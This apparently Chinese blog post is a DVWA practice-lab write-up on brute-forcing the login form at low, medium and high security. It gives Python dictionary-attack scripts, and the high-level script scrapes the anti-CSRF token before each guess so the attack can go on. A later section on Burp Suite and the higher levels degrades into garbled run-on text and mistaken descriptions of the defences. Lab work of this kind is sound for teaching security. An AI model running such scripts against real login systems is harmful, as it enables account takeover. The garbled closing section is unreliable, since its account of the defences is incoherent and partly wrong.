DVWA - Brute Force (low, medium, high)

low

遍历字典(成功的前提是字典里有这个密码)

import requests
import re


def main():
    url = 'http://192.168.67.22/dvwa/vulnerabilities/brute/index.php'
    headers = {
        'Cookie': 'PHPSESSID=h6r8555q2obvo388r4u50lg397; security=low'
    }
    h = open('pwd.txt')
    line = h.readline()
    while line:
        password = line.strip()
        new_url = url + '?username=admin&password=' + password + '&Login=Login'
        res = requests.get(new_url, headers=headers)
        if 'Username and/or password incorrect.' in res.content:
            print('Test %s: No' % password)
        else:
            print('Test %s: Yes' % password)
            break
        line = h.readline()


if __name__ == '__main__':
    main()

结果

Test 123456: No
Test admin: No
Test password: Yes
[Finished in 0.3s]

medium

查看源码发现

sleep( 2 ); 

测试不成功时会延时2s,方法和low一样,只是慢一些,需要更新cookie中的安全等级security。

headers = {
    'Cookie': 'PHPSESSID=h6r8555q2obvo388r4u50lg397; security=medium'
}

high

查看源码发现

<input type="hidden" name="user_token" value="2fe55c6b0091776e6f46283d41854b41">
// Check Anti-CSRF token 
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

多一个字段,测试后可发现user_token字段的值是动态的,思路即是在代码层面动态获该字段的值,再发测试密码的请求。

import requests
import re


def main():
    url = 'http://192.168.67.22/dvwa/vulnerabilities/brute/index.php'
    headers = {
        'Cookie': 'PHPSESSID=h6r8555q2obvo388r4u50lg397; security=high'
    }
    h = open('pwd.txt')
    line = h.readline()
    while line:
        password = line.strip()
        res = requests.get(url, headers=headers)
        m = re.search(r"user_token' value='(.*?)'", res.content, re.M | re.S)
        if m:
            user_token = m.group(1)
        new_url = url + '?username=admin&password=' + password + '&user_token=' + user_token + '&Login=Login'
        res = requests.get(new_url, headers=headers)
        if 'Username and/or password incorrect.' in res.content:
            print('Test %s: No' % password)
        else:
            print('Test %s: Yes' % password)
            break
        line = h.readline()


if __name__ == '__main__':
    main()
### DVWA Brute Force 暴力破解 实验教程 #### LowMedium 级别暴力破解 对于低级别和中级别的暴力破解,由于这些级别的防护措施较为简单,可以利用工具如Burp Suite来进行自动化攻击。具体来说: - **Low Level**: 这一等级几乎没有任何安全机制来阻止暴力破解尝试。用户名和密码通过HTTP GET请求发送,并且没有验证码或登录失败后的延迟处理。因此,使用Burp Intruder模块并加载常用弱口令列表可以直接发起大量猜测尝试[^4]。 ```bash # 使用 Burp Suite 的步骤如下: 1. 启动浏览器代理设置指向本地监听端口8080; 2. 访问DVWA网站并通过拦截功能捕获登录表单提交的数据包; 3. 将数据包转发至Intruder面板配置参数位置(通常为username和password字段); 4. 加载预定义的字典文件作为payload选项; 5. 开始攻击过程观察返回结果寻找有效凭证组合。 ``` - **Medium Level**: 中级增加了简单的防御手段——每当验证不成功时会触发`sleep(2)`函数使响应时间延长两秒钟。尽管如此,这并不会显著影响实际操作中的成功率;只需耐心等待每次迭代完成即可继续测试其他候选值[^2]。 #### High 和 Impossible 级别暴力破解 随着保护强度增加到了高级阶段,则引入了更复杂的逻辑用于检测异常行为模式以及采取相应对策加以遏制潜在威胁活动的发生频率及其效率表现形式上有所区别于之前所描述过的简易型方案设计思路框架结构特点方面存在差异之处在于: - **High Level**: 此处不仅限定了最大重试次数还加入了基于IP地址白名单管理策略从而进一步提升了整体安全性水平线以上述两点为核心要素构建而成的一套综合性的访问控制体系架构模型实例化应用案例研究对象之一即为此版本下的用户认证流程环节部分实现细节说明文档记录内容摘要概述。 - **Impossible Level**: 几乎无法被传统意义上的穷举法攻破。该层面上除了继承自高阶版的安全特性外更是额外集成了诸如图形验证码之类的交互式组件用来增强人工干预成分比例进而达到更好的防伪效果目的所在[^1]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值